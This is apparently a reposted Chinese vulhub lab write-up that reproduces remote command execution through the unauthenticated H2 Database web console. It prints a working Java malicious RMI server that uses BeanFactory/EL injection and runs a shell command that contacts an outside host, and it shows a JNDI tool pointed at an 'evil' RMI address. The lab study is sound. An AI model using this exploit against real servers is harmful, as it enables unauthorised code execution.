ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

vulhub漏洞复现24_H2 Database

2022-02-01 14:32:26  阅读:309  来源: 互联网

标签:vulhub 24 Database H2 JNDI registry new naming com


H2 Database Console 未授权访问

漏洞原理

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

```

spring.h2.console.enabled=true

spring.h2.console.settings.web-allow-others=true

```

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

漏洞环境

靶场:192.168.4.10_ubuntu

RMI:192.168.4.29_kali

执行如下命令启动一个Springboot + h2database环境:

#docker-compose up -d

启动后,访问`http://your-ip:8080/h2-console/`即可查看到H2 database的管理页面。

 

漏洞复现

目标环境是Java 8u252,版本较高,因为上下文是Tomcat环境,我们可以参考《[Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)》,使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。

```java

import java.rmi.registry.*;

import com.sun.jndi.rmi.registry.*;

import javax.naming.*;

import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {

    public static void main(String[] args) throws Exception {

        System.out.println("Creating evil RMI registry on port 1097");

        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code

        ref.add(new StringRefAddr("forceString", "x=eval"));

        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows

        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);

        registry.bind("Object", referenceWrapper);

    }

}

```

我们可以借助这个小工具[JNDI](https://github.com/JosephTribbianni/JNDI)简化我们的复现过程。

首先设置JNDI工具中执行的命令为`touch /tmp/success`:

 

然后启动`JNDI-1.0-all.jar`,在h2 console页面填入JNDI类名和URL地址:

其中,`javax.naming.InitialContext`是JNDI的工厂类,URL `rmi://evil:23456/BypassByEL`是运行JNDI工具监听的RMI地址。

点击连接后,恶意RMI成功接收到请求:

`touch /tmp/success`已成功执行:

 

标签:vulhub,24,Database,H2,JNDI,registry,new,naming,com
来源: https://blog.csdn.net/weixin_44193247/article/details/122763919

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有